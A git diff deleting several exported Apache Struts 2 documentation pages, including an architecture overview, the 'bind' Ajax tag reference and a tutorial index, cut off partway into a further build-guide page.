-      <path d="M606.6034 289.9995 L614.1034 274.9995 L599.1034 274.9995 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path fill="none" d="M766.4542 289.975 L766.4542 233.7585" clip-path="url(#clipPath2)"/>
-      <path d="M766.4542 220.0085 L758.9542 235.0085 L773.9542 235.0085 Z" clip-path="url(#clipPath2)" stroke="none"/>
-      <path fill="none" d="M369.802 650.0857 L369.802 791.5945 L256.9931 791.5945 L256.9931 861.3539 L844.1918 861.3539 L844.1918 74.9313" clip-path="url(#clipPath2)"/>
-      <path d="M844.1918 61.1813 L836.6918 76.1813 L851.6918 76.1813 Z" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-  </g>
-</svg>
diff --git a/content/docs/big-picture.html b/content/docs/big-picture.html
deleted file mode 100644
index 0eb8844..0000000
--- a/content/docs/big-picture.html
+++ /dev/null
@@ -1,151 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Big Picture</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="big-picture.html">Big Picture</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Big Picture</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13859">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13859">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13859">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13859">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13859">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13859">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The diagram describes the framework's architecture.</p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="big-picture.data/Struts2-Architecture.png"></span></p>
-
-<p>In the diagram, an initial request goes to the Servlet container (such as Jetty or Resin) which is passed through a standard filter chain. The chain includes the (optional) <strong>ActionContextCleanUp</strong> filter, which is useful when integrating technologies such as <a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=33343">SiteMesh Plugin</a>. Next, the required <strong>FilterDispatcher</strong> is called, which in turn consults the <a shape=" [...]
-
-<p>If the ActionMapper determines that an Action should be invoked, the FilterDispatcher delegates control to the <strong>ActionProxy</strong>. The ActionProxy consults the framework <a shape="rect" href="configuration-files.html">Configuration Files</a> manager (initialized from the <a shape="rect" href="strutsxml.html">struts.xml</a> file). Next, the ActionProxy creates an <strong>ActionInvocation</strong>, which is responsible for the command pattern implementation. This includes invo [...]
-
-<p>Once the Action returns, the ActionInvocation is responsible for looking up the proper <strong>result</strong> associated with the <strong>Action result code</strong> mapped in <code>struts.xml</code>. The result is then executed, which often (but not always, as is the case for <a shape="rect" href="action-chaining.html">Action Chaining</a>) involves a template written in <a shape="rect" href="jsp.html">JSP</a> or <a shape="rect" href="freemarker.html">FreeMarker</a> to be rendered. W [...]
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>All objects in this architecture (Actions, <a shape="rect" href="result-types.html">Results</a>, <a shape="rect" href="interceptors.html">Interceptors</a>, and so forth) are created by an <a shape="rect" href="objectfactory.html">ObjectFactory</a>. This ObjectFactor [...]
-<p>Interceptors are executed again (in reverse order, calling the <em>after</em> clause). Finally, the response returns through the filters configured in the <code>web.xml</code>. If the ActionContextCleanUp filter is present, the FilterDispatcher will <em>not</em> clean up the ThreadLocal <strong>ActionContext</strong>. If the ActionContextCleanUp filter is not present, the FilterDispatcher will cleanup all ThreadLocals.</p>
-
-<h2 id="BigPicture-Next:">Next: <a shape="rect" href="objectfactory.html">ObjectFactory</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/bind.html b/content/docs/bind.html
deleted file mode 100644
index 8b426f3..0000000
--- a/content/docs/bind.html
+++ /dev/null
@@ -1,172 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>bind</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="bind.html">bind</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">bind</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66798">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66798">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66798">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66798">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66798">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66798">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><parameter ac:name=""><a shape="rect" href="ajax-common-header.html">ajax common header</a></parameter><parameter ac:name="nopanel">true</parameter>
-
-<h2 id="bind-Description">Description</h2>
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Bind.java}</plain-text-body>
-
-<p>There's a bug in  IE6/IE7 which makes impossible to use the target's attribute with a parent Div, because such Div's content's are overwritten with the tag's <em>loadingText</em>. Resulting in an "undefined" message in the content's, instead of the result of the request.</p>
-
-<p>One possible alternative is to set <em>showLoadingText="false"</em> and set the indicator attribute to an element showing the desired loading text or image (outside the div).</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;img id="loadingImage" src="images/loadingAnimation.gif" style="display:none"/&gt;
-&lt;s:div id="parentDiv"&gt;
-    &lt;s:form action="actionName"&gt;
-        &lt;s:submit id="btn" /&gt;
-        &lt;sx:bind sources="btn" events="onclick" targets="parentDiv" showLoadingText="false" indicator="loadingImage"/&gt;
-    &lt;/s:form&gt;
-&lt;/s:div&gt;
-</plain-text-body>
-
-<h2 id="bind-Parameters">Parameters</h2>
-<plain-text-body>{snippet:id=tagattributes|javadoc=false|url=struts2-tags/ajax/bind.html}</plain-text-body>
-
-<h2 id="bind-Examples">Examples</h2>
-<p>Without attaching to an event, listening to a topic (used to make an Ajax call):</p>
-<plain-text-body>{snippet:id=example0|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Bind.java}</plain-text-body>
-<p>Attached to event 'onclick' on submit button:</p>
-<plain-text-body>{snippet:id=example1|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Bind.java}</plain-text-body>
-<p>Submit form:</p>
-<plain-text-body>{snippet:id=example2|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Bind.java}</plain-text-body>
-<p>Using beforeNotifyTopics:</p>
-<plain-text-body>{snippet:id=example4|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Bind.java}</plain-text-body>
-<p>Using afterNotifyTopics and highlight:</p>
-<plain-text-body>{snippet:id=example5|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Bind.java}</plain-text-body>
-<p>Using errorNotifyTopics and indicator:</p>
-<plain-text-body>{snippet:id=example6|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Bind.java}</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/bootstrap.html b/content/docs/bootstrap.html
deleted file mode 100644
index 5e47883..0000000
--- a/content/docs/bootstrap.html
+++ /dev/null
@@ -1,181 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Bootstrap</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Bootstrap</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13874">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13874">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13874">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13874">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13874">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13874">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The Bootstap tutorials starts from the very beginning and steps through creating a simple application. </p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="ready-set-go.html">Ready, Set, Go!</a>   </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> We download the framework and get started on an application of our own. </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="hello-world.html">Hello World</a>       </p></td><td colspan="1" rowspan="1" class= [...]
-
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more coding examples, see the <a shape="rect" href="cookbook.html">Cookbook</a>.</p>
-
-<h2 id="Bootstrap-Next:">Next: <a shape="rect" href="ready-set-go.html">Ready, Set, Go!</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/building-struts-2-fast-track-release.html b/content/docs/building-struts-2-fast-track-release.html
deleted file mode 100644
index 380c30f..0000000
--- a/content/docs/building-struts-2-fast-track-release.html
+++ /dev/null
@@ -1,262 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Building Struts 2 - Fast track release</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a>&nbsp;&gt;&nbsp;<a href="building-struts-2-fast-track-release.html">Building Struts 2 - Fast track release</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Building Struts 2 - Fast track release</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27834014">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27834014">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27834014">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27834014">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27834014">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27834014">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This version is outdated! Work-in-progress!</p></div></div><h1 id="BuildingStruts2-Fasttrackrelease-Content">Content</h1><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974264189 {padding: 0px;}
-div.rbtoc1488974264189 ul {list-style: none;margin-left: 0px;}
-div.rbtoc1488974264189 li {margin-left: 0px;padding-left: 0px;}
-
